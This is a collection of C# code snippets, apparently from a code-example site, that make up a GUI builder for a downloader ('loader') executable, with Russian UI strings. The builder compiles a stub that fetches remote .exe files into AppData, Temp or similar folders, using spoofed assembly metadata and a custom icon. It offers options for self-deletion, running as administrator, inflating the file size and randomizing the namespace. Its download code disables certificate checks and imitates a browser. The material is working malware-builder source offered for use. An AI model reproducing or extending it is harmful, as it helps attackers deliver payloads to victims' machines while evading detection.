コード例 #1
0
 private void AppExit_Click(object sender, EventArgs e)
 {
     NativeMethods.SetFocus(IntPtr.Zero);
     this.LogoText.Focus();
     ControlActive.ShowAnima(this.Handle, 500, Animation.Enums.AnimateWindowFlags.AW_VER_POSITIVE | Animation.Enums.AnimateWindowFlags.AW_HIDE);
     Application.Exit();
 }
コード例 #2
0
 private async void CheckLinkBox_Click(object sender, EventArgs e)
 {
     if (this.LinkBox.SelectedIndex != -1)
     {
         await Task.Run(() =>
         {
             this.StatusMessage.Location = new Point(515, 371);
             ControlActive.CheckMessage(this.StatusMessage, "Проверяем...", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
             if (!rgx.IsMatch(this.LinkBox.SelectedItem.ToString()))
             {
                 this.StatusMessage.Location = new Point(515, 371);
                 ControlActive.CheckMessage(this.StatusMessage, "Некорректная ссылка", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
                 this.LinkBox.Items.RemoveAt(this.LinkBox.SelectedIndex);
                 this.Lcount.Text = $"Список ссылок для загрузки файлов: {this.LinkBox.Items.Count}";
             }
             else
             {
                 if (CheckerFiles.URLExists(this.LinkBox.SelectedItem.ToString(), this.StatusMessage))
                 {
                     this.StatusMessage.Location = new Point(505, 371);
                     ControlActive.CheckMessage(this.StatusMessage, "Ссылка с файлом рабочая!", Color.FromKnownColor(KnownColor.MenuHighlight), 4000);
                 }
                 else
                 {
                     this.StatusMessage.Location = new Point(505, 371);
                     ControlActive.CheckMessage(this.StatusMessage, "Ссылка с файлом не рабочая!", Color.FromKnownColor(KnownColor.MenuHighlight), 4000);
                 }
             }
         }).ConfigureAwait(false);
     }
 }
コード例 #3
0
 private void LinkTextBox_TextChanged(object sender, EventArgs e)
 {
     if (!rgx.IsMatch(this.LinkTextBox.Text) && this.LinkTextBox.Text.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
     {
         this.LinkTextBox.Clear();
         this.StatusMessage.Location = new Point(515, 371);
         ControlActive.CheckMessage(this.StatusMessage, "Некорректная ссылка", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
     }
 }
コード例 #4
0
 private void DownloadLinkBox_Click(object sender, EventArgs e)
 {
     if (this.LinkBox.SelectedIndex != -1)
     {
         this.StatusMessage.Location = new Point(515, 371);
         ControlActive.CheckMessage(this.StatusMessage, "Проверка загрузки..", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
         new Thread(async() => await CheckerFiles.Loader(this.LinkBox.SelectedItem.ToString(), this.StatusMessage)).Start();
     }
 }
コード例 #5
0
        public static async Task Loader(string link, Label message)
        {
            if (!string.IsNullOrWhiteSpace(link))
            {
                string filename = FileManager.GetFileName(link);                         // Получаем имя файла из ссылки
                string fullpath = FileManager.CombinePath(GlobalPath.CurrDir, filename); // Соединяем путь и имя файла

                if (!FileManager.ExistsFile(fullpath))
                {
                    try
                    {
                        var url = new Uri(link, UriKind.Absolute);
                        using var client = new WebClient();
                        if (!client.IsBusy)
                        {
                            // Установка сертификата для успешной загрузки файл(а)ов
                            ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate;
                            ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls12;
                            client.Headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64");
                            client.Proxy = null;
                            try
                            {
                                await client?.DownloadFileTaskAsync(url, fullpath);

                                var file = new FileInfo(fullpath);
                                if (file.Length > 0)
                                {
                                    message.Location = new Point(505, 371);
                                    ControlActive.CheckMessage(message, "Файл загружен успешно!", Color.FromKnownColor(KnownColor.MenuHighlight), 4000);
                                }
                                else
                                {
                                    message.Location = new Point(505, 371);
                                    ControlActive.CheckMessage(message, "Файл повреждён, имеет 0 байтов!", Color.FromKnownColor(KnownColor.MenuHighlight), 4000);
                                }
                            }
                            catch (WebException)
                            {
                                FileManager.DeleteFile(fullpath);
                                message.Location = new Point(505, 371);
                                ControlActive.CheckMessage(message, "Ошибка загрузки файла!", Color.FromKnownColor(KnownColor.MenuHighlight), 4000);
                            }
                        }
                    }
                    catch (Exception ex) { throw new Exception("WebClient error: ", ex); }
                }
                else
                {
                    message.Location = new Point(505, 371);
                    ControlActive.CheckMessage(message, "Файл уже существует!", Color.FromKnownColor(KnownColor.MenuHighlight), 4000);
                }
            }
        }
コード例 #6
0
 private void IcoPath_TextChanged(object sender, EventArgs e)
 {
     if (string.IsNullOrWhiteSpace(this.IcoPath.Text))
     {
         this.IcoPath.Clear();
         this.IcoViewer.Image        = null;
         this.IcoViewer.BorderStyle  = BorderStyle.FixedSingle;
         this.StatusMessage.Location = new Point(524, 371);
         this.LsizeIco.Text          = $"Размер иконки: 0";
         ControlActive.CheckMessage(this.StatusMessage, "Иконка не выбрана", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
     }
 }
コード例 #7
0
 private void RemoveLinkBox_Click(object sender, EventArgs e)
 {
     if (this.LinkBox.SelectedIndex != -1)
     {
         this.LinkBox.Items?.RemoveAt(this.LinkBox.SelectedIndex);
         this.Lcount.Text = $"Список ссылок для загрузки файлов: {this.LinkBox.Items.Count}";
     }
     else
     {
         this.StatusMessage.Location = new Point(460, 371);
         ControlActive.CheckMessage(this.StatusMessage, "Выберите элемент из списка для удаления.", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
     }
 }
コード例 #8
0
 private void SelectIcon_Click(object sender, EventArgs e)
 {
     NativeMethods.SetFocus(IntPtr.Zero);
     this.LogoText.Focus();
     try
     {
         using var Open = new OpenFileDialog
               {
                   Title              = "Выберите иконку для загрузчика",
                   Filter             = "Icon (*.ico)|*.ico",
                   Multiselect        = false,
                   AutoUpgradeEnabled = true,
                   CheckFileExists    = true,
                   RestoreDirectory   = true
               };
         if (Open.ShowDialog() == DialogResult.OK)
         {
             this.IcoPath.Text = Open.FileName;
             if (FileManager.ExistsFile(this.IcoPath.Text))
             {
                 this.StatusMessage.Location  = new Point(524, 371);
                 this.IcoViewer.ImageLocation = this.IcoPath.Text;
                 this.IcoViewer.BorderStyle   = BorderStyle.None;
                 this.LsizeIco.Text           = $"Размер иконки: {GetFileSize.Inizialize(new FileInfo(this.IcoPath.Text).Length)}";
             }
             else
             {
                 this.IcoViewer.BorderStyle  = BorderStyle.FixedSingle;
                 this.StatusMessage.Location = new Point(524, 371);
                 this.LsizeIco.Text          = $"Размер иконки: 0";
                 ControlActive.CheckMessage(this.StatusMessage, "Иконка повреждена!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
             }
         }
         else
         {
             this.IcoPath.Clear();
             this.IcoViewer.Image        = null;
             this.IcoViewer.BorderStyle  = BorderStyle.FixedSingle;
             this.StatusMessage.Location = new Point(524, 371);
             this.LsizeIco.Text          = $"Размер иконки: 0";
             ControlActive.CheckMessage(this.StatusMessage, "Иконка не выбрана", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
         }
     }
     catch (Exception ex) { throw new Exception("Error OpenFile", ex); }
 }
コード例 #9
0
 private void CleanAll_Click(object sender, EventArgs e)
 {
     NativeMethods.SetFocus(IntPtr.Zero);
     this.LogoText.Focus();
     if (this.LinkBox.Items.Count != 0 || !string.IsNullOrWhiteSpace(this.LinkTextBox.Text))
     {
         this.LinkBox.Items.Clear();
         this.LinkTextBox.Clear();
         this.Lcount.Text            = $"Список ссылок для загрузки файлов: {this.LinkBox.Items.Count}";
         this.StatusMessage.Location = new Point(525, 371);
         ControlActive.CheckMessage(this.StatusMessage, "Все поля отчищены!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
     }
     else
     {
         this.StatusMessage.Location = new Point(150, 334);
         ControlActive.CheckMessage(this.StatusMessage, "Нечего отчищать", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
     }
 }
コード例 #10
0
 private void IcoViewer_DragDrop(object sender, DragEventArgs e)
 {
     foreach (string text in (string[])e.Data.GetData(DataFormats.FileDrop))
     {
         this.IcoPath.Text    = text;
         this.IcoViewer.Image = Image.FromFile(text);
         if (FileManager.ExistsFile(this.IcoPath.Text))
         {
             this.StatusMessage.Location = new Point(12, 418);
             this.LsizeIco.Text          = $"Размер иконки: {GetFileSize.Inizialize(new FileInfo(this.IcoPath.Text).Length)}";
         }
         else
         {
             this.StatusMessage.Location = new Point(12, 418);
             this.LsizeIco.Text          = $"Размер иконки: 0";
             ControlActive.CheckMessage(this.StatusMessage, "Иконка повреждена!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
         }
     }
 }
コード例 #11
0
 private void AddLink_Click(object sender, EventArgs e)
 {
     NativeMethods.SetFocus(IntPtr.Zero);
     this.LogoText.Focus();
     if (!string.IsNullOrWhiteSpace(this.LinkTextBox.Text))
     {
         if (rgx.IsMatch(this.LinkTextBox.Text))
         {
             if (this.LinkTextBox.Text.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
             {
                 if (!this.LinkBox.Items.Contains(this.LinkTextBox.Text))
                 {
                     this.LinkBox.Items.Add(this.LinkTextBox.Text.Replace("\r", "").Replace("\n", ""));
                     this.LinkTextBox.Clear();
                     this.Lcount.Text = $"Список ссылок для загрузки файлов: {this.LinkBox.Items.Count}";
                 }
                 else
                 {
                     this.StatusMessage.Location = new Point(500, 371);
                     ControlActive.CheckMessage(this.StatusMessage, "Такая ссылка уже есть в списке!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
                 }
             }
             else
             {
                 this.StatusMessage.Location = new Point(505, 371);
                 ControlActive.CheckMessage(this.StatusMessage, "Расширения файла только .exe", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
             }
         }
         else
         {
             this.StatusMessage.Location = new Point(515, 371);
             ControlActive.CheckMessage(this.StatusMessage, "Некорректная ссылка", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
             this.LinkTextBox.Clear();
         }
     }
     else
     {
         this.StatusMessage.Location = new Point(505, 371);
         ControlActive.CheckMessage(this.StatusMessage, "Введите ссылку в поле ввода", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
     }
 }
コード例 #12
0
        private async void Build_Click(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);
            this.LogoText.Focus();
            if (CheckIsEmptyBoxs())
            {
                this.StatusMessage.Location = new Point(515, 371);
                ControlActive.CheckMessage(this.StatusMessage, "Заполните все поля!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000); // #3399FF
            }
            else
            {
                if (string.IsNullOrEmpty(this.ListSave.Text))
                {
                    this.StatusMessage.Location = new Point(515, 371);
                    ControlActive.CheckMessage(this.StatusMessage, "Выберите путь сохранения!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
                }
                else
                {
                    if (this.LinkBox.Items.Count <= 0)
                    {
                        this.StatusMessage.Location = new Point(515, 371);
                        ControlActive.CheckMessage(this.StatusMessage, "Нет ссылок для загрузки!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
                    }
                    else
                    {
                        #region Добавление ссылок

                        var Linklist = new StringBuilder();
                        for (int i = 0; i < this.LinkBox.Items.Count; i++)
                        {
                            Linklist.AppendLine($"\"{this.LinkBox.Items[i]}\",");
                        }
                        if (Linklist.Length > 0)
                        {
                            Linklist.Length--;
                        }
                        #endregion
                        #region Добавляем все данные

                        var build = new Build()
                        {
                            AssCompany      = this.AssCompanyTextBox.Text,
                            AssCopyright    = this.AssCopyrightTextBox.Text,
                            AssDescription  = this.AssDescriptTextBox.Text,
                            AssVersion      = this.AssVerTextBox.Text,
                            AssFileVersion  = this.AssFileVerTextBox.Text,
                            AssProduct      = this.AssProductTextBox.Text,
                            AssTitle        = this.AssTitleTextBox.Text,
                            BoxFileName     = this.NameBuildTextBox.Text,
                            GuidBox         = this.AssGuidTextBox.Text,
                            ComboPath       = FormatDataEx,
                            BoxIcon         = this.IcoPath.Text,
                            ListBoxUrl      = Linklist?.ToString(),
                            LMessage        = StatusMessage,
                            NUp             = nPump,
                            Suicide         = SuicideActivate.Checked,
                            Runadmin        = RunFromAdminActivate.Checked,
                            RandomNameSpace = GenX.Update
                        };

                        #endregion
                        #region Запускаем создание загрузчика в новой задачи и ждём её завершения.

                        this.AppExit.Enabled = false; // Отключаем кнопку чтобы пользователь не мог закрыть программу
                        await Task.Run(() => SourceEdition.Inizialize(build)).ConfigureAwait(false);

                        this.AppExit.Enabled = true; // Включаем кнопку чтобы пользователь мог закрыть кнопку

                        #endregion

                        Linklist.Clear(); // Отчищяем StringBuilder
                    }
                }
            }
        }
コード例 #13
0
 private void LrBFrm_Load(object sender, EventArgs e)
 {
     string[] FormatText = { "LocalAppData", "AppData", "Temp", "Desktop" };
     this.ListSave.Items?.AddRange(FormatText);
     ControlActive.ShowAnima(this.Handle, 500, Animation.Enums.AnimateWindowFlags.AW_VER_POSITIVE | Animation.Enums.AnimateWindowFlags.AW_ACTIVATE);
 }
コード例 #14
0
        public static void Inizialize(Build collection)
        {
            string exe    = $"{collection.BoxFileName}.exe", // Имя Билд файла
                   Source = Resources.Build;                 //  билд из ресурсов

            #region Замена исходного кода на новые значения

            Source = Source.Replace("[TITLE]", collection.AssTitle).
                     Replace("[DESCRIPTION]", collection.AssDescription).
                     Replace("[COMPANY]", collection.AssCompany).
                     Replace("[PRODUCT]", collection.AssProduct).
                     Replace("[COPYRIGHT]", collection.AssCopyright).
                     Replace("[VERSION]", collection.AssVersion).
                     Replace("[FILEVERSION]", collection.AssFileVersion).
                     Replace("[GUID]", collection.GuidBox).
                     Replace("[Path]", collection.ComboPath).
                     Replace("\"[URL]\"", collection.ListBoxUrl).Replace("#NAMESPACE", collection.RandomNameSpace);

            Source = collection.Runadmin ? Source.Replace("[ADMIN]", "true") : Source.Replace("[ADMIN]", "false");
            Source = collection.Suicide ? Source.Replace("[SUICIDE]", "true") : Source.Replace("[SUICIDE]", "false");
            #endregion

            var providerOptions = new Dictionary <string, string> {
                { "CompilerVersion", "v4.0" }
            };
            try
            {
                using var provider = new CSharpCodeProvider(providerOptions);

                #region Дефолтные параметры для компиляции

                var parameters = new CompilerParameters
                {
                    CompilerOptions         = "/target:winexe /optimize+ /platform:anycpu /langversion:Default /noconfig",
                    TreatWarningsAsErrors   = false,
                    GenerateInMemory        = false,
                    IncludeDebugInformation = false,
                    GenerateExecutable      = true,
                    OutputAssembly          = exe,
                    ReferencedAssemblies    = { "System.dll", "System.Net.dll" }
                };

                #endregion
                #region Проверка на обнаружение иконки
                if (!string.IsNullOrEmpty(collection.BoxIcon))
                {
                    parameters.CompilerOptions += $" /win32icon:{collection.BoxIcon}"; // Добавляем иконку
                }
                #endregion
                #region Компиляция сборки

                CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, Source);
                if (!ResultLog.Errors.HasErrors)
                {
                    // Ошибок нету
                    collection.LMessage.Location = new Point(515, 371);
                    ControlActive.CheckMessage(collection.LMessage, "Загрузчик создан успешно!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
                    MusicPlay.Inizialize(Resources.GoodBuild);
                    if (collection.NUp.Value > 0)
                    {
                        PumpFile.Inizialize(exe, (int)collection.NUp.Value);
                    }
                }
                else
                {
                    collection.LMessage.Location = new Point(510, 371);
                    ControlActive.CheckMessage(collection.LMessage, "Ошибка создания загрузчика!", Color.FromKnownColor(KnownColor.MenuHighlight), 5000);
                    MusicPlay.Inizialize(Resources.Error_Build);
                    foreach (CompilerError compilerError in ResultLog.Errors)
                    {
                        FileManager.CreateFile("Error_Compiler.txt", $"Error: {compilerError?.ToString()} {Environment.NewLine}Line: {compilerError?.Line}{Environment.NewLine}");
                    }
                }

                #endregion
            }
            catch (ArgumentNullException aue) { throw new ArgumentNullException("CSharpCodeProvider error", aue); }
        }